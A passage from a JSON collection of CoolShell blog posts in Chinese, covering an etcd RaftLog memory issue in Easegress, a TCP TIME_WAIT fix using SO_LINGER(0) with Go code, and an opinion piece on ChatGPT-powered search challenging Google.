Mesh，Serverless/FaaS的集成，并可以用于扛高并发、灰度发布、全链路压力测试、物联网……等更为高级的企业级的解决方案。所以，为了达到这些目标，在2017年的时候，我们觉得在现有的网关如Nginx上是无法演进出来这样的软件的，必需重新写一个（后来其他人也应该跟我们的想法一样，所以，Lyft写了一个Envoy。只不过，Envoy是用C++写的，而我用了技术门槛更低的Go语言）\n\n\n另外，Easegress最核心的设计主要有三个：\n\n\n\n* 一是无第三方依赖的自己选主组集群的能力\n* 二是像Linux管道命令行那样pipeline式的插件流式处理（支持Go/WebAssembly）\n* 三是内置一个Data Store用于集群控制和数据共享。\n\n\n对于任何一个分布式系统，都需要有一个强一制性的基于Paxos/Raft的可以自动选主机制，并且需要在整个集群间同步一些关键的控制/配置和相关的共享数据，以保证整个集群的行为是统一一致的。如果没有这么一个东西的话，就没有办法玩分布式系统的。这就是为什么会有像Zookeeper/etcd这样的组件出现并流行的原因。注意，Zookeeper他们主要不是给你存数据的，而是给你组集群的。\n\n\nZookeeper是一个很流行的开源软件，也被用于各大公司的生产线，包括一些开源软件，比如：Kafka。但是，这会让其它软件有一个依赖，并且在运维上带来很大的复杂度。所以，Kafka在最新的版本也通过内置了选主的算法，而抛弃了外挂zookeeper的设计。Etcd是Go语言社区这边的主力，也是kubernetes组建集群的关键组件。Easegress在一开始（5年前）使用了gossip协议同步状态（当时想的过于超前，想做广域网的集群），但是后发现这个协议太过于复杂，而且很难调试，而广域网的API Gateway也没遇到相应的场景。所以，在3年前的时候，为了稳定性的考量，我们把其换成了内嵌版本的etcd，这个设计一直沿用到今天。\n\n\nEasegress会把所有的配置信息都放到etcd里，还包括一些统计监控数据，以及一些用户的自定义数据（这样用户自己的plugin不但可以在一条pipeline内，还可以在整个集群内共享数据），这对于用户进行扩展来说是非常方便的。软件代码的扩展性一直是我们追求的首要目标，尤其是开源软件更要想方设法降低技术门槛让技术易扩展，这就是为什么Google的很多开源软件都会选使用Go语言的原因，也是为什么Go正在取代C/C++的做PaaS基础组件的原因。\n\n\n#### 背景问题\n\n\n好了，在介绍完为什么要用etcd以后，我开始分享一个实际的问题了。我们有个用户在使用 Easegress 的时候，在Easegress内配置了上千条pipeline，导致 Easegress的内存飙升的非常厉害- 10+GB 以上，而且长时间还下不来。\n\n\n用户报告的问题是——\n\n\n\n> 在Easegress 1.4.1 上创建一个HTTP对象，1000个Pipeline，在Easegres初始化启动完成时的内存占用大概为400M，运行80分钟后2GB，运行200分钟后达到了4GB，这期间什么也没有干，对Easegress没有进行过一次请求。\n> \n> \n\n\n一般来说，就算是API再多也不应该配置这么多的处理管道pipeline的，通常我们会使用HTTP API的前缀把一组属于一个类别的API配置在一个管道内是比较合理的，就像nginx下的location的配置，一般来说不会太多的。但是，在用户的这个场景下配置了上千个pipeline，我们也是头一次见，应该是用户想做更细粒度的控制。\n\n\n经过调查后，我们发现内存使用基本全部来自etcd，我们实在没有想到，因为我们往etcd里放的数据也没有多少个key，感觉不会超过10M，但不知道为什么会占用了10GB的内存。这种时候，一般会怀疑etcd有内存泄漏，上etcd上的github上搜了一下，发现etcd在3.2和3.3的版本上都有内存泄露的问题，但都修改了，而 Easegress 使用的是3.5的最新版本，另外，一般来说内存泄漏的问题不会是这么大的，我们开始怀疑是我们哪里误用了etcd。要知道是否误用了etcd，那么只有一条路了，沉下心来，把etcd的设计好好地看一遍。\n\n\n\n大概花了两天左右的时间看了一下etcd的设计，我发现了etcd有下面这些消耗内存的设计，老实说，还是非常昂贵的，这里分享出来，避免后面的同学再次掉坑。\n\n\n**首当其冲是——RaftLog**。etcd用Raft Log，主要是用于帮助follower同步数据，这个log的底层实现不是文件，而是内存。所以，而且还至少要保留 `5000` 条最新的请求。如果key的size很大，这 `5000`条就会产生大量的内存开销。比如，不断更新一个 1M的key，哪怕是同一个key，这 5000 条Log就是 5000MB = 5GB 的内存开销。这个问题在etcd的issue列表中也有人提到过  [issue #12548](https://github.com/etcd-io/etcd/issues/12548)，不过，这个问题不了了之了。这个5000还是一个hardcode，无法改。（参看 `DefaultSnapshotCatchUpEntries` [相关源码](https://github.com/etcd-io/etcd/blob/29c3b0f307107fd95a6eb43ddff20db952eeb2fa/server/etcdserver/server.go#L80)）\n\n\n\n```\n// DefaultSnapshotCatchUpEntries is the number of entries for a slow follower\n// to catch-up after compacting the raft storage entries.\n// We expect the follower has a millisecond level latency with the leader.\n// The max throughput is around 10K. Keep a 5K entries is enough for helping\n// follower to catch up.\nDefaultSnapshotCatchUpEntries uint64 = 5000\n```\n\n另外，我们还发现，这个设计在历史上etcd的官方团队把这个默认值从10000降到了5000，我们估计etcd官方团队也意识到10000有点太耗内存了，所以，降了一半，但是又怕follwer同步不上，所以，保留了 5000条……（在这里，我个人感觉还有更好的方法，至少不用全放在内存里吧……）\n\n\n另外还有下面几项也会导致etcd的内存会增加\n\n\n1. **索引**。etcd的每一对 key-value 都会在内存中有一个 B-tree 索引。这个索引的开销跟key的长度有关，etcd还会保存版本。所以B-tree的内存跟key的长度以及历史版本号数量也有关系。\n2. **mmap**。还有，etcd 使用 mmap 这样上古的unix技术做文件映射，会把他的blotdb的内存map到虚拟内存中，所以，db-size越大，内存越大。\n3. **Watcher**。watch也会占用很大的内存，如果watch很多，连接数多，都会堆积内存。\n\n\n（很明显，etcd这么做就是为了一个高性能的考虑）\n\n\n\nEasegress中的问题更多的应该是Raft Log 的问题。后面三种问题我们觉得不会是用户这个问题的原因，对于索引和mmap，使用 [etcd 的 compact 和 defreg](https://etcd.io/docs/v3.2/op-guide/maintenance/) （压缩和碎片整理应该可以降低内存，但用户那边不应该是这个问题的核心原因）。\n\n\n针对用户的问题，大约有1000多条pipeline，因为Easegress会对每一条pipeline进行数据统计（如：M1, M5, M15， P99, P90, P50等这样的统计数据），统计信息可能会有1KB-2KB左右，但Easegress会把这1000条pipeline的统计数据合并起来写到一个key中，这1000多条的统计数据合并后会导致出现一个平均尺寸为2MB的key，而5000个in-memory的RaftLog导致etcd要消耗了10GB的内存。之前没有这么多的pipeline的场景，所以，这个内存问题没有暴露出来。\n\n\n于是，我们最终的解决方案也很简单，我们修改我们的策略，不再写这么大的Value的数据了，虽然以前只写在一个key上，但是Key的值太大，现在把这个大Key值拆分成多个小的key来写，这样，实际保存的数据没有发生变化，但是RaftLog的每条数据量就小了，所以，以前是5000条 2M（10GB），现在是5000条 1K（500MB），就这样解决了这个问题。相关的PR在这里 [PR#542](https://github.com/megaease/easegress/pull/542) 。\n\n\n#### 总结\n\n\n要用好 etcd，有如下的实践\n\n\n* 避免大尺寸的key和value，一方面会通过一个内存级的 Raft Log 占大量内存，另一方面，B-tree的多版本索引也会因为这样耗内存。\n* 避免DB的尺寸太大，并通过 compact和defreg来压缩和碎片整理降低内存。\n* 避免大量的Watch Client 和 Watch数。这个开销也是比较大的。\n* 最后还有一个，就是尽可能使用新的版本，无论是go语言还是etcd，这样会少很多内存问题。比如：golang的这个跟LInux内核心相关的[内存问题](https://github.com/golang/go/issues/42330) —— golang 1.12的版sget的是 `MADV_FREE` 的内存回收机制，而在1.16的时候，改成了 `MADV_DONTNEED` ，这两者的差别是，`FREE`表示，虽然进程标记内存不要了，但是操作系统会保留之，直到需要更多的内存，而 `DONTNEED` 则是立马回收，你可以看到，在常驻内存RSS 上，前者虽然在golang的进程上回收了内存，但是RSS值不变，而后者会看到RSS直立马变化。Linux下对 `MADV_FREE` 的实现在某些情况下有一定的问题，所以，在go 1.16的时候，默认值改成了 `MADV_DONTNEED` 。而 etcd 3.4 是用 来1.12 编译的。\n\n\n最后，欢迎大家关注我们的开源软件！ <https://github.com/megaease/>\n\n\n\n（全文完）\n\n\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n* [![Go 编程模式：k8s Visitor 模式](../wp-content/uploads/2020/12/go.k8s-150x150.png)](https://coolshell.cn/articles/21263.html)[Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [![Go编程模式：Pipeline](../wp-content/uploads/2020/12/go.line_.-150x150.png)](https://coolshell.cn/articles/21228.html)[Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [![Go编程模式：委托和反转控制](../wp-content/uploads/2020/12/go.pair_-150x150.png)](https://coolshell.cn/articles/21214.html)[Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [![Go 编程模式：Go Generation](../wp-content/uploads/2020/12/go.generate-150x150.png)](https://coolshell.cn/articles/21179.html)[Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [![Go编程模式：Map-Reduce](../wp-content/uploads/2020/12/go.map_.reduce-150x150.png)](https://coolshell.cn/articles/21164.html)[Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\nThe post [ETCD的内存问题](https://coolshell.cn/articles/22242.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2022-7-19 从一次经历谈 TIME_WAIT 的那些事.md",
    "content": "---\nlayout: post\ntitle: 从一次经历谈 TIME_WAIT 的那些事\ndate: 2022/7/19/ 6:43:39\nupdated: 2022/7/19/ 6:43:39\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2022/07/wall_clock-300x167.jpeg)今天来讲一讲TCP 的 `TIME_WAIT` 的问题。这个问题尽人皆知，不过，这次遇到的是不太一样的场景，前两天也解决了，正好写篇文章，顺便把 `TIME_WAIT` 的那些事都说一说。对了，这个场景，跟我开源的探活小工具 [EaseProbe](https://github.com/megaease/easeprobe) 有关，我先说说这个场景里的问题，然后，顺着这个场景跟大家好好说一下这个事。\n\n\n#### 问题背景\n\n\n先说一下背景，[EaseProbe](https://github.com/megaease/easeprobe) 是一个轻量独立的用来探活服务健康状况的小工具，支持http/tcp/shell/ssh/tls/host以及各种中间件的探活，然后，直接发送通知到主流的IM上，如：Slack/Telegram/Discrod/Email/Team，包括国内的企业微信/钉钉/飞书， 非常好用，用过的人都说好 https://s.w.org/images/core/emoji/14.0.0/72x72/1f60f.png。\n\n\n这个探活工具在每次探活的时候，必须要从头开始建立整个网络链接，也就是说，需要从头开始进行DNS查询，建立TCP链接，然后进行通信，再关闭链接。这里，我们不会设置 TCP 的 KeepAlive 重用链接，因为探活工具除了要探活所远端的服务，还要探活整个网络的情况，所以，每次探活都需要从新来过，这样才能捕捉得到整个链路的情况。\n\n\n\n但是，这样不断的新建链接和关闭链接，根据TCP的状态机，我们知道这会导致在探测端这边出现的 `TIME_WAIT` 的 TCP 链接，根据 TCP 协议的定义，这个 TIME\\_WAIT 需要等待 2倍的MSL 时间，TCP 链接都会被系统回收，在回收之前，这个链接会占用系统的资源，主要是两个资源，一个是文件描述符，这个还好，可以调整，另一个则是端口号，这个是没法调整的，因为作为发起请求的client来说，在对同一个IP上理论上你只有64K的端口号号可用（实际上系统默认只有近30K，从32,768 到 60,999 一共 60999+1-32768=28,232，你可以通过 `sysctl net.ipv4.ip_local_port_range` 查看  ），如果 `TIME_WAIT` 过多，会导致TCP无法建立链接，还会因为资源消耗太多导致整个程序甚至整个系统异常。\n\n\n试想，如果我们以 10秒为周期探测10K的结点，如果TIME\\_WAIT的超时时间是120秒，那么在第60秒后，等着超时的 `TIME_WAIT` 我们就有可能把某个IP的端口基本用完了，就算还行，系统也有些问题。（注意：我们不仅仅只是TCP，还有HTTP协议，所以，大家不要觉得TCP的四元组只要目标地址不一样就好了，一方面，我们探的是域名，需要访问DNS服务，所以，DNS服务一般是一台服务器，还有，因为HTTPS一般是探API，而且会有网关代理API，所以链接会到同一个网关上。另外就算还可以建出站连接，但是本地程序会因为端口耗尽无法bind了。所以，现实情况并不会像理论情况那样只要四元组不冲突，端口就不会耗尽）\n\n\n#### 为什么要 TIME\\_WAIT\n\n\n那么，为什么TCP在 `TIME_WAIT` 上要等待一个2MSL的时间？\n\n\n以前写过篇比较宏观的《TCP的那些事》（[上篇](https://coolshell.cn/articles/11564.html \"TCP 的那些事儿（上）\")，[下篇](https://coolshell.cn/articles/11609.html \"TCP 的那些事儿（下）\")），这个访问在“上篇”里讲过，这里再说一次，TCP 断链接的时候，会有下面这个来来回回的过程。\n\n\n我们来看主动断链接的最后一个状态 `TIME_WAIT` 后就不需要等待对端回 ack了，而是进入了超时状态。这主要是因为，在网络上，如果要知道我们发出的数据被对方收到了，那我们就需要对方发来一个确认的Ack信息，那问题来了，对方怎么知道自己发出去的ack，被收到了？难道还要再ack一下，这样ack来ack回的，那什么谁也不要玩了……是的，这就是比较著名的【两将军问题】——两个将军需要在一个不稳定的信道上达成对敌攻击时间的协商，A向B派出信鸽，我们明早8点进攻，A怎么知道B收到了信？那需要B向A派出信鸽，ack说我收到了，明早8点开干。但是，B怎么知道A会收到自己的确认信？是不是还要A再确认一下？这样无穷无尽的确认导致这个问题是没有完美解的（我们在《[分布式事务](https://coolshell.cn/articles/10910.html#Two_Generals_Problem%EF%BC%88%E4%B8%A4%E5%B0%86%E5%86%9B%E9%97%AE%E9%A2%98%EF%BC%89)》一文中说过这个问题，这里不再重述）\n\n\n所以，我们只能等一个我们认为最大小时来解决两件个问题：\n\n\n1） 为了 **防止来自一个连接的延迟段**被依赖于相同四元组（源地址、源端口、目标地址、目标端口）的稍后连接接受（被接受后，就会被马上断掉，TCP状态机紊乱）。虽然，可以通过指定 TCP 的 sequence number 一定范围内才能被接受。但这也只是让问题发生的概率低了一些，对于一个吞吐量大的的应用来说，依然能够出现问题，尤其是在具有大接收窗口的快速连接上。[RFC 1337](https://tools.ietf.org/html/rfc1337 \"RFC 1337：TCP 中的 TIME-WAIT 暗杀危险\")详细解释了当 `TIME-WAIT`状态不足时会发生什么。`TIME-WAIT`以下是如果不缩短状态可以避免的示例：\n\n\n![](../wp-content/uploads/2022/07/duplicate-segment.png)由于缩短的 TIME-WAIT 状态，后续的 TCP 段已在不相关的连接中被接受（[来源](https://vincent.bernat.ch/en/blog/2014-tcp-time-wait-state-linux)）\n \n\n\n2）另一个目的是确保**远端已经关闭了连接**。当最后一个*ACK*​​ 丢失时，对端保持该`LAST-ACK`状态。在没有`TIME-WAIT`状态的情况下，可以重新打开连接，而远程端仍然认为先前的连接有效。当它收到一个*SYN*段（并且序列号匹配）时，它将以*RST*应答，因为它不期望这样的段。新连接将因错误而中止：\n\n\n \n\n\n![](../wp-content/uploads/2022/07/last-ack.png)如果远端因为最后一个 ACK​​ 丢失而停留在 LAST-ACK 状态，则打开具有相同四元组的新连接将不起作用 （[来源](https://vincent.bernat.ch/en/blog/2014-tcp-time-wait-state-linux)）\n`TIME_WAIT` 的这个超时时间的值如下所示：\n\n\n* 在 macOS 上是15秒， `sysctl net.inet.tcp | grep net.inet.tcp.msl`\n* 在 Linux 上是 60秒 `cat /proc/sys/net/ipv4/tcp_fin_timeout`\n\n\n#### 解决方案\n\n\n要解决这个问题，网上一般会有下面这些解法\n\n\n* 把这个超时间调小一些，这样就可以把TCP 的端口号回收的快一些。但是也不能太小，如果流量很大的话，TIME\\_WAIT一样会被耗尽。\n* 设置上 `tcp_tw_reuse` 。[RFC 1323](https://tools.ietf.org/html/rfc1323 \"RFC 1323：高性能 TCP 扩展\")提出了一组 TCP 扩展来提高高带宽路径的性能。除其他外，它定义了一个新的 TCP 选项，带有两个四字节**时间戳字段**。第一个是发送选项的 TCP 时间戳的当前值，而第二个是从远程主机接收到的最新时间戳。如果新时间戳严格大于为前一个连接记录的最新时间戳。Linux 将重用该状态下的现有 `TIME_WAIT` 连接用于**出站的链接**。也就是说，**这个参数对于入站连接是没有任何用图的。**\n* 设置上 `tcp_tw_recycle` 。 这个参数同样依赖于时间戳选项，但会影响进站和出站链接。这个参数会影响NAT环境，也就是一个公司里的所有员工用一个IP地址访问外网的情况。在这种情况下，时间戳条件将禁止在这个公网IP后面的所有设备在一分钟内连接，因为它们不共享相同的时间戳时钟。毫无疑问，禁用此选项要好得多，因为它会导致 **难以检测**和**诊断**问题。（注：从 Linux 4.10 (commit [95a22caee396](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a22caee396cef0bb2ca8fafdd82966a49367bb \"tcp：为每个连接随机化 tcp 时间戳偏移\") ) 开始，Linux 将为每个连接随机化时间戳偏移量，从而使该选项完全失效，无论有无NAT。它已从 Linux 4.12中完全删除）\n\n\n对于服务器来说，上述的三个访问都不能解决服务器的 `TIME_WAIT` 过多的问题，真正解决问题的就是——**不作死就不会死，也就是说，服务器不要主动断链接，而设置上KeepAlive后，让客户端主动断链接，这样服务端只会有`CLOSE_WAIT`**。\n\n\n但是对于用于建立出站连接的探活的 EaseProbe来说，设置上 `tcp_tw_reuse` 就可以重用 `TIME_WAIT` 了，但是这依然无法解决 `TIME_WAIT` 过多的问题。\n\n\n然后，过了几天后，我忽然想起来以前在《UNIX 网络编程》上有看到过一个Socket的参数，叫 `<code>SO_LINGER`，我的编程生涯中从来没有使用过这个设置，这个参数主要是为了延尽关闭来用的，也就是说你应用调用 `close()`函数时，如果还有数据没有发送完成，则需要等一个延时时间来让数据发完，但是，如果你把延时设置为 0  时，Socket就丢弃数据，并向对方发送一个 `RST` 来终止连接，因为走的是 RST 包，所以就不会有 `TIME_WAIT` 了。\n\n\n这个东西在服务器端永远不要设置，不然，你的客户端就总是看到 TCP 链接错误 “connnection reset by peer”，但是这个参数对于 EaseProbe 的客户来说，简直是太完美了，当EaseProbe 探测完后，直接 reset connection， 即不会有功能上的问题，也不会影响服务器，更不会有烦人的  `TIME_WAIT` 问题。\n\n\n#### Go 实际操作\n\n\n在 Golang的标准库代码里，`net.TCPConn` 有个方法 `SetLinger()`可以完成这个事，使用起来也比较简单：\n\n\n\n```\nconn, _ := net.DialTimeout(\"tcp\", t.Host, t.Timeout())\n\nif tcpCon, ok := conn.(*net.TCPConn); ok {\n    tcpCon.SetLinger(0)\n}\n```\n\n你需要把一个 `net.Conn`  转型成 `net.TCPConn`，然后就可以调用方法了。\n\n\n但是对于Golang 的标准库中的 HTTP 对象来说，就有点麻烦了，Golang的 http 库把底层的这边连接对象全都包装成私有变量了，你在外面根本获取不到。这篇《[How to Set Go net/http Socket Options – setsockopt() example](https://iximiuz.com/en/posts/go-net-http-setsockopt-example/) 》中给出了下面的方法：\n\n\n\n```\ndialer := &net.Dialer{\n    Control: func(network, address string, conn syscall.RawConn) error {\n        var operr error\n        if err := conn.Control(func(fd uintptr) {\n            operr = syscall.SetsockoptInt(int(fd), unix.SOL_SOCKET, unix.TCP_QUICKACK, 1)\n        }); err != nil {\n            return err\n        }\n        return operr\n    },\n}\n\nclient := &http.Client{\n    Transport: &http.Transport{\n        DialContext: dialer.DialContext,\n    },\n}\n```\n\n上面这个方法非常的低层，需要直接使用setsocketopt这样的系统调用，我其实，还是想使用 `TCPConn.SetLinger(0)` 来完成这个事，即然都被封装好了，最好还是别破坏封闭性碰底层的东西。\n\n\n经过Golang http包的源码阅读和摸索，我使用了下面的方法：\n\n\n\n```\nclient := &http.Client{\n    Timeout: h.Timeout(),\n    Transport: &http.Transport{\n      TLSClientConfig:   tls,\n      DisableKeepAlives: true,\n      DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {\n        d := net.Dialer{Timeout: h.Timeout()}\n        conn, err := d.DialContext(ctx, network, addr)\n        if err != nil {\n          return nil, err\n        }\n        tcpConn, ok := conn.(*net.TCPConn)\n        if ok {\n          tcpConn.SetLinger(0)\n          return tcpConn, nil\n        }\n        return conn, nil\n      },\n    },\n  }\n```\n\n然后，我找来了全球 T0p 100W的域名，然后在AWS上开了一台服务器，用脚本生成了 TOP 10K 和 20K 的网站来以5s, 10s, 30s, 60s的间隔进行探活，搞到Cloudflare 的 1.1.1.1 DNS 时不时就把我拉黑，最后的测试结果也非常不错，根本 没有 TIME\\_WAIT 的链接，相关的测试方法、测试数据和测试报告可以参看：[Benchmark Report](https://github.com/megaease/easeprobe/blob/main/docs/Benchmark.md)\n\n\n#### 总结\n\n\n下面是几点总结\n\n\n* `TIME_WAIT` 是一个TCP 协议完整性的手段，虽然会有一定的副作用，但是这个设计是非常关键的，最好不要妥协掉。\n* 永远不要使用  `tcp_tw_recycle` ，这个参数是个巨龙，破坏力极大。\n* 服务器端永远不要使用  `SO_LINGER(0)`，而且使用 `tcp_tw_reuse` 对服务端意义不大，因为它只对出站流量有用。\n* 在服务端上最好不要主动断链接，设置好KeepAlive，重用链接，让客户端主动断链接。\n* 在客户端上可以使用 `tcp_tw_reuse`  和 `SO_LINGER(0)`。\n\n\n最后强烈推荐阅读这篇文章 – [Coping with the TCP TIME-WAIT state on busy Linux servers](https://vincent.bernat.ch/en/blog/2014-tcp-time-wait-state-linux)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![TCP 的那些事儿（上）](../wp-content/uploads/2014/05/tin-can-phone-150x150.jpg)](https://coolshell.cn/articles/11564.html)[TCP 的那些事儿（上）](https://coolshell.cn/articles/11564.html)\n* [![HTTP的前世今生](../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg)](https://coolshell.cn/articles/19840.html)[HTTP的前世今生](https://coolshell.cn/articles/19840.html)\n* [![TCP 的那些事儿（下）](../wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg)](https://coolshell.cn/articles/11609.html)[TCP 的那些事儿（下）](https://coolshell.cn/articles/11609.html)\n* [![Alan Cox：单向链表中prev指针的妙用](../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg)](https://coolshell.cn/articles/9859.html)[Alan Cox：单向链表中prev指针的妙用](https://coolshell.cn/articles/9859.html)\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [![TCP网络关闭的状态变换时序图](../wp-content/uploads/2009/09/tcp1-150x150.jpg)](https://coolshell.cn/articles/1484.html)[TCP网络关闭的状态变换时序图](https://coolshell.cn/articles/1484.html)\nThe post [从一次经历谈 TIME\\_WAIT 的那些事](https://coolshell.cn/articles/22263.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2023-2-11 我看ChatGPT 为啥谷歌掉了千亿美金.md",
    "content": "---\nlayout: post\ntitle: 我看ChatGPT: 为啥谷歌掉了千亿美金\ndate: 2023/2/11/ 16:31:16\nupdated: 2023/2/11/ 16:31:16\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2023/02/chatgpt-300x200.jpg)两个月前，我试着想用 ChatGPT 帮我写篇文章《[eBPF 介绍](https://coolshell.cn/articles/22320.html \"eBPF 介绍\")》，结果错误百出，导致我又要从头改一遍，从那天我觉得 ChatGPT 生成的内容完全不靠谱，所以，从那天开始我说我不会再用 ChatGPT 来写文章（这篇文章不是由 ChatGPT 生成），因为，在试过一段时间后，我对 ChatGTP 有基于如下的认识：\n\n\n1. **ChatGPT 不是基于事实，是基于语言模型的**，事实对他来说不重要，对他重要的是他能读懂你的问题，并按照一定的套路回答你的问题。\n2. **因为是基于套路的回答，所以，他并不能保证内容是对的，他的目标是找到漂亮的精彩的套路**，于是，你会发现，他的内容组织能力和表述还不错，但是只要你认真玩上一段时间，你会发现，ChatGPT 那些表述的套路其实也比较平常一般。它的很多回答其实都不深，只能在表面上。就像 Github 的 Copilot 一样，写不了什么高级的代码，只能帮你写一些常规格式化的代码（当然，这也够了）\n\n\n![](../wp-content/uploads/2023/02/chatgpt.example-1024x853.jpg)ChatGPT 就是一个语言模型，如果不给他足够的数据和信息，它基本就是在胡编乱造\n所以，基于上面这两个点认识，以发展的眼光来看问题，我觉得 ChatGPT 这类的 AI 可以成为一个小助理，他的确可以干掉那些初级的脑力工作者，但是，还干不掉专业的人士，这个我估计未来也很难，不过，这也很帅了，因为大量普通的工作的确也很让人费时间和精力，**但是有个前提条件——就是ChatGPT所产生的内容必需是真实可靠的，没有这个前提条件的话，那就什么用也没有了**。\n\n\n今天，我想从另外一个角度来谈谈 ChatGPT，尤其是我在Youtube上看完了微软的发布会《[Introducing your copilot for the web: AI-powered Bing and Microsoft Edge](https://youtu.be/rOeRWRJ16yY) 》，才真正意识到Google 的市值为什么会掉了1000亿美元，是的，**谷歌的搜索引擎的霸主位置受到了前所未有的挑战**……\n\n\n\n我们先来分析一下搜索引擎解决了什么样的用户问题，在我看来搜索引擎解决了如下的问题：\n\n\n* **知识或信息索引**。查新闻，查股票，查历史，查文档，找答案……\n* **找服务提供商**。找卖东西的电商，找帮你修东西的服务，找软件……\n* **信息的准确和可靠**。搜索引擎的rank算法保证了最准确、最有用、最权威的信息出现在最前面……（作恶的百度不在此列）\n\n\n基本上就是上面这几个，搜索引擎在上面这几件事上作的很好，但是，还是有一些东西搜索引擎做的并不好，如：\n\n\n* **搜索引擎是基于关键词的，不是基于语义的**。所以，搜索引擎并不知道你的真实需求，因此，你会不可避免地要干下面的事，\n\t+ 你经常要不断地增加或调整不同的关键词来提高查询信息的准确度……\n\t+ 你经常要在你查找的信息中进行二次或多次过滤和筛选……\n* **搜索引擎是只能呈现内容，无法解读内容**。所以，你找到相关的链接后，你还要花大量的时间来阅读理解，经常性的你不可避免的要干下面的事：\n\t+ 打开一个链接，读到了一大半后，发现你要的内容不在其中，只能关掉再打开一个……\n\t+ 你想要的内容是在的，但是太晦涩，看不懂，太费解，你要找小白友好的版本……\n\t+ 你想要的内容不完整，你需要在很多个链接和网页上做拼图游戏……\n\t+ 内容是无法结构化的展示的，你搜到的东西全都是碎片信息\n* **搜索引擎没有上下文关联，两次搜索是没有关系的**。也就是说，人知道的越多，问题也就越多，所以，我们经常会面临下面的问题：\n\t+ 随着我了解的越多，我的信息搜索的会出现分支，这个分支只有我自己的管理，搜索引擎是不关心的，导致我每次都相当于从头开始……\n\t+ 你做计划的时候，你需要从多个不同的搜索中获取你想要的东西，最终组合成你定制化的东西，比如做旅游计划……\n\n\n好了，我们知道，**ChatGPT 这类的技术主要是用来根据用户的需求来按一定的套路来“生成内容”的**，只是其中的内容并不怎么可靠，那么，如果把搜索引擎里靠谱的内容交给 ChatGPT 呢？那么，这会是一个多么强大的搜索引擎啊，完全就是下一代的搜索引擎，上面的那些问题完全都可以解决了：\n\n\n* 你可以打一段话给搜索引擎，ChatGPT 是读得懂语义的。\n* 因为知道语义，于是在众多搜过结果中，他更知道哪些是你想要的内容。\n* ChatGPT 可以帮你生成 [TL;DR](https://en.wikipedia.org/wiki/TL;DR)，把长文中的要求总结出来形成更易读的短文\n* ChatGPT 可以帮你整理内容，在多个网页中帮你整合和结构化内容\n* ChatGPT 可以有上下文对话，你可以让他帮你不断通过更多的关键词搜索信息，并在同一个主题下生成、组织和优化内容\n\n\n**一旦 ChatGPT 利用上了搜索引擎内容准确和靠谱的优势，那么，ChatGPT 的能力就完全被释放出来了，所以，带 ChatGPT 的搜索引擎，就是真正的“如虎添翼”！**\n\n\n因此，微软的 Bing + ChatGPT，成为了 Google 有史以来最大的挑战者，我感觉——所有跟信息或是文字处理相关的软件应用和服务，都会因为 ChatGPT 而且全部重新洗一次牌的，这应该会是新一轮的技术革命……**Copilot 一定会成为下一代软件和应用的标配！**\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5701.html)[SteveY对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![Google图片搜索下的的C String](../wp-content/uploads/2011/02/C_String-150x150.jpg)](https://coolshell.cn/articles/3806.html)[Google图片搜索下的的C String](https://coolshell.cn/articles/3806.html)\nThe post [我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2023-2-3 聊聊 nostr 和 审查.md",
